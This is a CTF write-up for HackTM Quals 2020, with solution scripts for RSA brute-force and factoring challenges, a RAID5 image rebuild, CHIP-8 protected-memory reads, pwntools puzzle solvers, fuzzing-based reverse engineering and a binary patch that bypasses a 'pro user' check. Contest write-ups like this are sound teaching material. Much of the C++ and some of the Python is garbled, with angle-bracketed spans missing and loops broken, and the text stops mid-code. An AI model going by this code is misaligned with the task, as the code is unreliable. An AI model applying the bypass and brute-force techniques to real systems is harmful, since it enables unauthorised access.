HackTM CTF Quals 2020 Writeup February 6, 2020 由于寒假比较闲,所以找点比赛打。由于需要上交 wp,所以是英文的。 # Crypto ## RSA is easy #1 Since $$N$$ is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it. ```python e=65537 n=... s=[...(encrypted flag)] from gmpy2 import * f={} for j in range(32,127): f[j**e%n]=j r='' for i in s: r+=chr(f[i]) print r ``` ## RSA is easy #2 We doesn't know $$N$$, but we know that $$c=n^e\ mod\ N$$. So $$N$$ is a factor of $$n^e-c$$. Then for two $$c$$, we can check all $$n$$, and calculate their $$gcd$$. Then just follow #1. ```python from gmpy2 import * s=open('c').read() s1='Encrypted flag:' s=s[s.find(s1)+len(s1):] s=eval(s.strip()) a=s[0] b=s[1] for i in range(97,97+26): for j in range(97,97+26): t=gcd(i**65537-a,j**65537-b) if t>100: print '|',t print i ``` ## Prison Break Maintain the difference of every two adjacent numbers. ```cpp #include typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii; #define xx first #define yy second template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a inline T abs(T a){return a>0?a:-a;} template inline bool repr(T &a,T b){return a inline bool repl(T &a,T b){return a>b?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a inline T sqr(T x){return x*x;} #define mp(a,b) std::make_pair(a,b) #define pb push_back #define I __attribute__((always_inline))inline #define mset(a,b) memset(a,b,sizeof(a)) #define mcpy(a,b) memcpy(a,b,sizeof(a)) #define fo0(i,n) for(int i=0,i##end=n;i=i##end;i--) #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i) #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i) struct Cg{I char operator()(){return getchar();}}; struct Cp{I void operator()(char x){putchar(x);}}; #define OP operator #define RT return *this; #define UC unsigned char #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\ if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0' #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0' #define TR *this,x;return x; I bool IS(char x){return x==10||x==13||x==' ';}templatestruct Fr{T P;I Fr&OP,(int&x) {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x) {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf() {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Frin; #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0') #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\ x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5); #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0') templatestruct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT} I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP() (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT} I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fwout; int s[10000007]; int main() { freopen("Given_File.txt","r",stdin); fo0(i,9999999) { int a,b,c; in,a,b,c; assert(a>=1&&a<=1000000000); assert(b>=1&&b<=1000000000); assert(c>=0&&c<=9); assert(a<=b); (s[a]+=c)%=10; (s[b]+=10-c)%=10; } int r=1; fo1(i,10000000) { (s[i]+=s[i-1])%=10; (s[i]+=10)%=10; if(s[i])r=(ll)r*s[i]%999999937; } out,r,'\n'; } ``` ## Bad keys $$\phi(n)$$ is a factor of $$ed-1$$. So we can find $$phi(n)$$. Since $$pq=n,pq-p-q+1=\phi(n)$$, we can find $$p$$ and $$q$$. The $$p$$ in the keys are very similar, just like adjacent primes, so we can check some $$p$$ and factorize $$n$$. ```python n=... p=12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163 print(p) while n%p: p-=1 print(p) ``` ## Count on me Consider the given key is a number under some strange base. Guess each digits is divided in two parts, and they form a 20 base. After guessing some ways to read the number, finally I found the flag. (key.txt) ``` N >N *NNN>N/N>/*//NNN// >> >>.>*./N>.NN/N>N . /N >N>/>/>N/ WN V*\\NVW\WVN* NVNN WN\ \ . *.NN . N NWW\\.W\ W\\ NW N\W ``` ```python from Crypto.Cipher import AES c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex') iv = '42042042042042042042042042042042'.decode('hex') def chk(key): aes = AES.new(key,AES.MODE_CBC, iv) r=aes.decrypt(c) for i in r: if ord(i)<32 or ord(i)>126: return False print(r) return True def chkn(x): r='' for i in range(32): r+=chr(x&255) x>>=8 assert x==0 r=r[::-1] return chk(r) a,b=open('key.txt').readlines()[:2] a=a.strip() b=b.strip() va={'>':2, '/':1, 'N':3, ' ':0, '.':0} vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2} unk=[] tot=0 for i in range(59): p=58-i po=20**i if a[p]=='*': assert b[p]=='*' unk.append((po,i)) else: tot+=(va[a[p]]*5+vb[b[p]])*po def dfs(x,cur): if x==len(unk): return chkn(cur) for i in range(20): dfs(x+1,cur+unk[x][0]*i) dfs(0,tot) ``` # Forensics ## RR It seems to be raid5. After some observation, I found the way to decrypt it. (decrypt script, 2.img is the $$xor$$ of 1.img and 3.img) ```cpp #include typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii; #define xx first #define yy second template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a inline T abs(T a){return a>0?a:-a;} template inline bool repr(T &a,T b){return a inline bool repl(T &a,T b){return a>b?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a inline T sqr(T x){return x*x;} #define mp(a,b) std::make_pair(a,b) #define pb push_back #define I __attribute__((always_inline))inline #define mset(a,b) memset(a,b,sizeof(a)) #define mcpy(a,b) memcpy(a,b,sizeof(a)) #define fo0(i,n) for(int i=0,i##end=n;i=i##end;i--) #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i) #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i) struct Cg{I char operator()(){return getchar();}}; struct Cp{I void operator()(char x){putchar(x);}}; #define OP operator #define RT return *this; #define UC unsigned char #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\ if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0' #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0' #define TR *this,x;return x; I bool IS(char x){return x==10||x==13||x==' ';}templatestruct Fr{T P;I Fr&OP,(int&x) {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x) {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf() {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Frin; #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0') #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\ x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5); #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0') templatestruct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT} I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP() (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT} I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fwout; int main() { FILE*fa=fopen("1.img","rb"),*fb=fopen("2.img","rb"),*fc=fopen("3.img","rb"),*fr=fopen("res.img","wb"); const int N=8192*65536,A=8192,B=N/A; fo0(i,A) { unsigned char f[B]; if(i%3==0) { fread(f,1,B,fb); fread(f,1,B,fc); fwrite(f,1,B,fr); fread(f,1,B,fa); fwrite(f,1,B,fr); } else if(i%3==1) { fread(f,1,B,fa); fread(f,1,B,fb); fwrite(f,1,B,fr); fread(f,1,B,fc); fwrite(f,1,B,fr); } else { fread(f,1,B,fc); fread(f,1,B,fa); fwrite(f,1,B,fr); fread(f,1,B,fb); fwrite(f,1,B,fr); } } } ``` However, this result image seems to be broken (maybe because of header). I ran `binwalk` on this image, and it found a jpg file. That's the flag. # Misc ## Romanian Gibberish Remove `p` and the letter after it. ## The dragon sleeps at night Work, buy level 1 sword, sleep -5 days, then go to the dragon. ## CHIP 8 /1 `F X 29` can load protected address into `I`. `D X Y N` can read protected memory and show them. ``` 6015 F029 D11F ``` ## CHIP 8 /2 The last 512 bytes is executable, just jump there and check "Last instruction". ## Shifty First, we can find some way to rotate $$(x_0,y_0),(x_0,y_1),(x_1,y_0)$$. (Just consider $$(0,0)\to(0,1)\to (1,0)$$) It requires $$2n$$ ($$n$$ is board size) operations. For a level, we can solve it by such rotation. For first three levels, it's enough. But for level 4, we need to find out what's the real operation. This is not difficult to be done. For level 5, we can only guess, and then run this until it succeeds. ```python from pwn import * from copy import deepcopy import random r=remote('138.68.67.161',60006) rs=[] chrs={} cnts={} def work_level(id): global rs,chrs,cnts r.recvuntil('Level %d\n'%id) r.recvuntil('Your target:\n') r.recvuntil(' ') s=r.recvuntil('\n') us=s[:] m=len(s.strip().split()) n=0 req=[] while True: s=r.recvuntil('\n').decode() if len(s)<2: break n+=1 req.append(s.strip().split(' ')[1:]) print(n,m,req) r.recvuntil('Current board:\n\n') r.recvuntil('\n') cur=[] for i in range(n): s=r.recvuntil('\n').decode() cur.append(s.strip().split(' ')[1:]) print(cur) for i in range(n): print(' '.join(cur[i])) print(r.recvuntil('Enter')) print(r.recvuntil(': ')) def rotx(x,u=None): global rs if x in chrs: rs.append(chrs[x]) else: rs.append(chr(x+65)) for T in range(cnts[x]): t=cur[x] cur[x]=t[1:]+t[:1] if u is not None: for t in u: if t[0]==x: t[1]=(t[1]-1)%m def roty(y,u=None): global rs if -y-1 in chrs: rs.append(chrs[-y-1]) else: rs.append(str(y)) for T in range(cnts[-y-1]): t=cur[0][y] for i in range(n-1): cur[i][y]=cur[i+1][y] cur[n-1][y]=t if u is not None: for t in u: if t[1]==y: t[0]=(t[0]-1)%n t=[] for i in range(n): t.append(chr(i+65)) for i in range(m): t.append(str(i)) if id==5: t=[] for i in range(n): t.append(chr(i+65)) random.shuffle(t) for i in range(n): chrs[i]=t[i] t=[] for i in range(m): t.append(str(i)) random.shuffle(t) for i in range(m): chrs[-i-1]=t[i] else: chrs={} cnts={} for i in range(-m,n): cnts[i]=1 if id<=3: for i in range(n): chrs[i]=chr(i+65) for i in range(m): chrs[-i-1]=str(i) else: for ch in t: #print(ch) r.send(ch+'\n') while True: s=r.recvuntil('\n') #print(s,us) if s.strip()==us.strip(): break cur2=[] for i in range(n): s=r.recvuntil('\n').decode() cur2.append(s.strip().split(' ')[1:]) diff=[] for i in range(n): for j in range(m): if cur[i][j]!=cur2[i][j]: diff.append((i,j)) assert len(diff)==n or len(diff)==m xs=set();ys=set() for i in diff: xs.add(i[0]) ys.add(i[1]) if len(xs)==1: for u in xs: x=u cnt=0 while cur!=cur2: rotx(x) cnt+=1 assert cnt==1 or (cnt+1)%m==0 chrs[x]=ch cnts[x]=cnt else: assert len(ys)==1 for u in ys: y=u cnt=0 while cur!=cur2: roty(y) cnt+=1 assert cnt==1 or (cnt+1)%n==0 chrs[-y-1]=ch cnts[-y-1]=cnt #print(ch,cur) print(chrs) print(cnts) #exit() rs=[] def work(x,y,z): #x<-y y<-z z<-x y is pivot u=[list(x),list(y),list(z)] if x[0]==y[0]: assert x[1]!=y[1] and y[0]!=z[0] and y[1]==z[1] while u[2]!=list(y): roty(y[1],u) while u[0]!=list(y): rotx(y[0],u) while u[0]!=list(z): roty(y[1],u) while u[2]!=list(y): rotx(y[0],u) else: assert x[1]==y[1] and y[0]==z[0] and y[1]!=z[1] while u[2]!=list(y): rotx(y[0],u) while u[0]!=list(y): roty(y[1],u) while u[0]!=list(z): rotx(y[0],u) while u[2]!=list(y): roty(y[1],u) for i in range(n-1): for j in range(m): if i==n-2 and j==m-1: break for k in range(n): for l in range(m): if req[i][j]==cur[k][l]: x=k;y=l break if i==x and j==y: continue if i!=x and j!=y: assert x>i work((x,y),(x,j),(i,j)) elif i==x: t=0 while j==t or y==t: t+=1 work((x,y),(x+1,y),(x+1,t)) work((x+1,t),(x+1,j),(i,j)) else: assert j==y if i!=n-2: t=1 if y==0 else 0 u=n-1 if x!=n-1 else n-2 work((x,y),(u,y),(u,t)) work((u,t),(u,y),(i,j)) else: work((x,y),(x,y+1),(i,y+1)) x=i;y+=1 t=0 while j==t or y==t: t+=1 work((x,y),(x+1,y),(x+1,t)) work((x+1,t),(x+1,j),(i,j)) #print(i,j,cur) assert cur[i][j]==req[i][j] #print(cur) for i in range(m-1): for k in range(n): for l in range(m): if req[n-1][i]==cur[k][l]: x=k;y=l break if n-1==x and i==y: continue if x==n-1 and y==m-1: work((n-1,i),(x,y),(n-2,m-1)) continue if x==n-1: work((x,y),(x,m-1),(n-2,m-1)) x=n-2 y=m-1 assert x==n-2 and y==m-1 work((x,y),(n-1,y),(n-1,i)) #print(i,cur) print(cur) #print(rs) #exit() ST=10000 for i in range(0,len(rs),ST): r.send(','.join(rs[i:i+ST])+'\n') if i+ST>=len(rs): #r.interactive() #exit() break print(r.recvuntil('Enter')) print(r.recvuntil(': ')) for i in range(1,6): print('work_level:',i) work_level(i) #r.interactive() print(r.recvuntil('\n')) tt=r.recv(10) print(tt) if tt==b'Enter 0-3 ': exit() r.interactive() ``` # Rev ## baby bear If we change some position of input, some suffix of the output will change. So we can fuzz it. (In fact, it's bfs or maybe A*) ```python import pexpect,heapq def work(s): p=pexpect.spawn(['./baby_bear_bak']) p.read(613) p.write(s+b'\n') res=p.read(100) t=res.find(b'\r\n') return res[t+2:t+48] def bitxor(s,x): xt=x>>3 return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:] target=b'1100011010101011000100101011000101001011111000' def cal(s): t=work(s) c=0 while c<46 and target[c]==t[c]: c+=1 return c def u(x,y): return x-y*2.5 st=b'0'*16 sc=cal(st) q=[(u(0,sc),sc,0,st)] while True: tt,sc,cur,s=heapq.heappop(q) print(sc,cur,s) if sc==46: print() print(s.decode()[:-2]) break t=bitxor(s,cur) flag=True for i in t: if i<32 or i>127: flag=False if flag: ns=cal(t) heapq.heappush(q,(u(cur+1,ns),ns,cur+1,t)) heapq.heappush(q,(u(cur+1,sc),sc,cur+1,s)) ``` ## papa bear It shows similar features to baba bear, so we can also fuzz. ```python import os,pexpect,heapq def uu(s): r='' for i in s: if i=='M': r+='0' elif i=='W': r+='1' return r def work(s): #p=pexpect.spawn('./papa_bear '+s.decode()) os.system('./papa_bear "'+s.decode().replace('\\','\\\\').replace('"','\\"').replace('`','\\`')+'" 0>out.txt') return uu(open('out.txt').read()) def bitxor(s,x): xt=x>>3 return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:] #print(work('1231231231231234')) #print(work(b'\0'*16)) #print(work(bitxor(b'\0'*16,10))) target=uu(open('sample.txt').read()) print(len(target),target) print(len(work(b'0'*100))) def cal(s): t=work(s) c=0 while c<275 and target[c]==t[c]: c+=1 return c def u(x,y): return x-y*2 #return -y st=b'HackTM{F4th3r b'+b'0'*80 sc=cal(st) q=[(u(0,sc),sc,0,st)] L=4 while True: tt,sc,cur,s=heapq.heappop(q) print(sc,cur,s) if sc==275: print() print(s.decode()[:-2]) break for j in range(1,1<>k&1: t=bitxor(t,cur+k) flag=True for i in t: if i<32 or i>126: flag=False if flag: ns=cal(t) heapq.heappush(q,(u(cur+L,ns),ns,cur+L,t)) heapq.heappush(q,(u(cur+L,sc),sc,cur+L,s)) ``` ## hackdex The binary translates words from a dictionary, and there's an hidden option 9. That requires pro user, and we patched it at 0xec64. The option 9 requires 6 words, and checks them using `contains_key`. Then it connects these words and checks their sha256, and finally use it as the key of chacha to get the flag. However, these hash tables were empty, so it's difficult to know which words are required. Then the hint gives the Boggle game, and https://github.com/AmokHuginnsson/boggle-solvers/blob/master/solve.py tells us the rules. So we can find the words for the 6 groups. ``` char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"}; char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"}; char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"}; char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"}; char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"}; char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"}; ``` Then just brute force the sha256. ```c++ #include typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii; #define xx first #define yy second template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a inline T abs(T a){return a>0?a:-a;} template inline bool repr(T &a,T b){return a inline bool repl(T &a,T b){return a>b?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a inline T sqr(T x){return x*x;} #define mp(a,b) std::make_pair(a,b) #define pb push_back #define I __attribute__((always_inline))inline #define mset(a,b) memset(a,b,sizeof(a)) #define mcpy(a,b) memcpy(a,b,sizeof(a)) #define fo0(i,n) for(int i=0,i##end=n;i=i##end;i--) #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i) #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i) struct Cg{I char operator()(){return getchar();}}; struct Cp{I void operator()(char x){putchar(x);}}; #define OP operator #define RT return *this; #define UC unsigned char #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\ if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0' #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0' #define TR *this,x;return x; I bool IS(char x){return x==10||x==13||x==' ';}templatestruct Fr{T P;I Fr&OP,(int&x) {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x) {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf() {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Frin; #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0') #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\ x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5); #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0') templatestruct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT} I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP() (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT} I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fwout; #include "picosha2.h" #include "omp.h" const int C0=33,C1=27,C2=47,C3=39,C4=44,C5=35; const unsigned char req[33]={191, 215, 169, 38, 6, 20, 158, 102, 23, 156, 141, 6, 168, 186, 80, 245, 135, 162, 150, 225, 107, 64, 252, 16, 89, 235, 42, 102, 102, 10, 239, 19}; char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"}; char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"}; char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"}; char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"}; char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"}; char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"}; #define A(t) int c##t=c;for(char*i=s##t[x##t];*i;i++)tmp[c++]=*i; #define D(t) c=c##t; void work(int x0,int x1) { char tmp[105]; int c=0; A(0); A(1); fo0(x2,C2) { A(2); fo0(x3,C3) { A(3); fo0(x4,C4) { A(4); fo0(x5,C5) { A(5); unsigned char res[picosha2::k_digest_size+1]; picosha2::hash256(tmp,tmp+c,res,res+picosha2::k_digest_size); //std::string hex_str = picosha2::bytes_to_hex_string(res,res+picosha2::k_digest_size); //std::cout<>2)%3 pwd_bytes[1] = four_byte_table[t] four_byte_table = four_byte_table[:t] + four_byte_table[t+1:] t=(pwd_byte//12)%2 pwd_bytes[2] = four_byte_table[t] four_byte_table = four_byte_table[:t] + four_byte_table[t+1:] pwd_bytes[3] = four_byte_table[0] pc=0 def get(): global pc r=code[pc] pc+=1 return ord(r) stack=[] def pop(): global stack r=stack[-1] stack=stack[:-1] return r def ror(x,y): a=secret[x+1]*256+secret[x] a=(a>>y)|((a&((1<>8 secret[x]=a&255 def rol(x,y): return (x<>(8-y)) def push(x): stack.append(x) def speco(a): b=a>>8 a=a&0xff for i in range(8): y = b&1 x = a&1 v7 = pwd_bytes[y*2+x]>>1 v6 = pwd_bytes[y*2+x]&1 b = rol(v7|(b&0xfe), 1) a = rol(v6|(a&0xfe), 1) return a<<8|b def spec(): a=pop() b=pop() t=speco(b<<8|a) b=t>>8 a=t&255 push(b) push(a) def cpu(): cur=next(pwd) proc_pwd_byte(cur) while True: op=get() if op==0x26: spec() elif op==0x21: # ! break elif op==0x2d: # - secret[get()-0x30]=pop()&255 elif op==0x23: # # fr = get() - 0x30 ror(fr,cur&7) else: assert op <= 0x30 + 0x2B push(secret[op-0x30]) pass cpu() print(''.join(map(chr,usecret))) secret=usecret for i in range(8): cpu() s='' for i in range(16): s+='%02x'%secret[i] print(s) s='' for i in range(16,32): s+='%02x'%secret[i] print(s) ``` Each digit of the key is used twice, once be modulo 24, once be modulo 8. So there are only $24^6=191102976$ different keys. We can just enumerate the key and solve the equation. ```cpp #include typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii; #define xx first #define yy second template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a inline T abs(T a){return a>0?a:-a;} template inline bool repr(T &a,T b){return a inline bool repl(T &a,T b){return a>b?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a inline T sqr(T x){return x*x;} #define mp(a,b) std::make_pair(a,b) #define pb push_back #define I __attribute__((always_inline))inline #define mset(a,b) memset(a,b,sizeof(a)) #define mcpy(a,b) memcpy(a,b,sizeof(a)) #define fo0(i,n) for(int i=0,i##end=n;i=i##end;i--) #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i) #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i) struct Cg{I char operator()(){return getchar();}}; struct Cp{I void operator()(char x){putchar(x);}}; #define OP operator #define RT return *this; #define UC unsigned char #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\ if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0' #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0' #define TR *this,x;return x; I bool IS(char x){return x==10||x==13||x==' ';}templatestruct Fr{T P;I Fr&OP,(int&x) {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x) {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf() {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I 